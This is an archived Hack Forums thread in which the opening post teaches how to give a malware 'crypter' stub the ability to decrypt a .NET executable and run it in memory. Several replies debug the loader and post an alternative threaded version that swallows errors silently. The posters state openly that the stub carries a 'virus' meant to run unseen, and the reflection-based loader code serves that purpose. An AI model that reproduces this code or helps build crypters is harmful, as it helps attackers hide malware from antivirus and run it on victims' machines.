+- Hack Forums (https://hackforums.net)
+-- Forum: Tech (https://hackforums.net/forumdisplay.php?fid=444)
+--- Forum: Coding (https://hackforums.net/forumdisplay.php?fid=151)
+---- Forum: Software Development (https://hackforums.net/forumdisplay.php?fid=118)
+---- Thread: [.NET] Add .Net Support to your Crypter! [Stable EXE Reflection] (/showthread.php?tid=3803559)
Pages: Pages
1
2
Add .Net Support to your Crypter! [Stable EXE Reflection] - Reaper91 - Oct 13, 2013
Hey everyone, I'm here trying to contribute to the community and I thought this tut would better help the programming noobs out. Ok, with that being said, please don't troll my thread and let's get started now.
For all the noobs, just to clarify, when you have a crypter, the stub is essentially your virus with the origional exe inside it somehow, when the stub is ran, the virus is decrypted and ran (usually in memory). With that being said, you have a runtime crypter. So, in order to make a runtime crypter, you need a RunPE, what this does is it will inject native exe's inside a Windows Process and create a child process. But that only works for native exe's, in order to run a .Net exe, you need my code. In order for this to work though, you need to remember a couple of things. This code will only work with files that don't have EOF Data (but there is a fix) and it will only invoke exe's with the same .Net Framework dependency or lower.
Code
Dim asm As Assembly = AppDomain.CurrentDomain.Load(bytes) ' Loads decrypted bytes.
Dim met As MethodInfo = asm.EntryPoint ' Finds EntryPoint (Main/Form1_Load).
Dim ObjCls As Object = asm.CreateInstance(met.Name) ' Gets EntryPoint as a function name.
Dim ObjParam As Object() = Nothing ' Variable for setting any extra parameters at Entry.
If (met.GetParameters.Length > 0) Then ' Checks Entry for any extra parameters.
ObjParam = New Object() {New String() {Nothing}} ' If any are found, they're set in ObjParam.
End If
met.Invoke(ObjCls, ObjParam) ' Run our .Net exe at entry with or without any extra parameters.* - Only3 - Oct 13, 2013
old and not work on all options did u try it
* - Reaper91 - Oct 13, 2013
(Oct 13, 2013 11:49 AM)Only3 Wrote: old and not work on all options did u try itYes, it works fine in my crypter when it's compiled under .Net 3.5!
* - ScΛrƒΛc3_ - Oct 13, 2013
Ok...good enough, and good explaination Reaper, but ...needs more cowbell!!!
* - Cornflower Blue இڿڰۣ-ڰۣ— - Oct 13, 2013
Just tested this out and get this error
Code
Exception has been thrown by the target of an invocation.* - gigajew - Oct 13, 2013
First of, don't call people noobs when it's clear to me that you have little-to-no idea what you're talking about. You can't inject managed code into native code. Period. You just invoked a .NET assembly.
On top of that, you don't even know what the code does, because if you did, you'd know that you can invoke the assembly with only one line, and skip all that mess you copy pasted.
* - ScΛrƒΛc3_ - Oct 13, 2013
(Oct 13, 2013 02:23 PM)lhendrey4.5 Wrote: Just tested this out and get this error
CodeException has been thrown by the target of an invocation.
not that was necessary to test for me, but works good on my side.
* - Cornflower Blue இڿڰۣ-ڰۣ— - Oct 13, 2013
(Oct 13, 2013 02:28 PM)Scarfac3_ Wrote: not that was necessary to test for me, but works good on my side.
Any idea on how to fix this error? Nothing came up on google.
* - gigajew - Oct 13, 2013
(Oct 13, 2013 02:32 PM)lhendrey4.5 Wrote: Any idea on how to fix this error? Nothing came up on google.
Yeah, don't use his code. It's horrible.
* - Cornflower Blue இڿڰۣ-ڰۣ— - Oct 13, 2013
(Jan 16, 1970 04:48 PM)gigajew Wrote: Yeah, don't use his code. It's horrible.
You want to give better code then instead of insulting OP?
* - gigajew - Oct 13, 2013
(Oct 13, 2013 02:34 PM)lhendrey4.5 Wrote: You want to give better code then instead of insulting OP?
He insulted himself by posting that code. And sure, I'll PM you with it later on.
* - ScΛrƒΛc3_ - Oct 13, 2013
(Oct 13, 2013 02:32 PM)lhendrey4.5 Wrote: Any idea on how to fix this error? Nothing came up on google.
I think depends on what you are trying to run from memory, or an issue with the entry point. Sometimes is better and stable olso run from a new thread, try with this snippet:
PHP Code
<?php
Public Sub Execute(ByVal bytes As Byte())
Dim t As New Thread(AddressOf DoExecute)
t.TrySetApartmentState(ApartmentState.STA)
t.Start(bytes)
End Sub
Public Sub DoExecute(ByVal d As Byte())
Try
If d(&H3C) = &H80 Then
Dim asm As Assembly = Assembly.Load(d)
Dim entryPoint As MethodInfo = asm.EntryPoint
Dim o As Object() = Nothing
If entryPoint.GetParameters().Length > 0 Then
o = New Object() {New String() {"1"}}
End If
entryPoint.Invoke(Nothing, o)
Application.Exit()
End If
Catch
End Try
End Sub
(Oct 13, 2013 02:35 PM)gigajew Wrote: He insulted himself by posting that code. And sure, I'll PM you with it later on.
Op never said this code inject managed into native, insted he clearly specified that you cant, reason why he posted how to run from memory .net assemblyes....dunno on what you are complaining on... 😑
* - Cornflower Blue இڿڰۣ-ڰۣ— - Oct 13, 2013
(Oct 13, 2013 02:37 PM)Scarfac3_ Wrote: I think depends on what you are trying to run from memory, or an issue with the entry point. Sometimes is better and stable olso run from a new thread, try with this snippet:
PHP Code
<?php
Public Sub Execute(ByVal bytes As Byte())
Dim t As New Thread(AddressOf DoExecute)
t.TrySetApartmentState(ApartmentState.STA)
t.Start(bytes)
End Sub
Public Sub DoExecute(ByVal d As Byte())
Try
If d(&H3C) = &H80 Then
Dim asm As Assembly = Assembly.Load(d)
Dim entryPoint As MethodInfo = asm.EntryPoint
Dim o As Object() = Nothing
If entryPoint.GetParameters().Length > 0 Then
o = New Object() {New String() {"1"}}
End If
entryPoint.Invoke(Nothing, o)
Application.Exit()
End If
Catch
End Try
End Sub
Op never said this code inject managed into native, insted he clearly specified that you cant, reason why he posted how to run from memory .net assemblyes....dunno on what you are complaining on... 😑
Same error :/ Must be the EntryPoint?
Thanks for helping tho.
* - ScΛrƒΛc3_ - Oct 13, 2013
(Oct 13, 2013 02:47 PM)lhendrey4.5 Wrote: Same error :/ Must be the EntryPoint?
Thanks for helping tho.
Yep. Im sure is an entry point issue for sure. But is hard to say without the specific code.
* - Cornflower Blue இڿڰۣ-ڰۣ— - Oct 13, 2013
(Oct 13, 2013 02:49 PM)Scarfac3_ Wrote: Yep. Im sure is an entry point issue for sure. But is hard to say without the specific code.
PHP Code
<?php
namespace Test
{
public partial class Form1 : Form
{
public Form1()
{
InitializeComponent();
MessageBox.Show("test");
}
}
}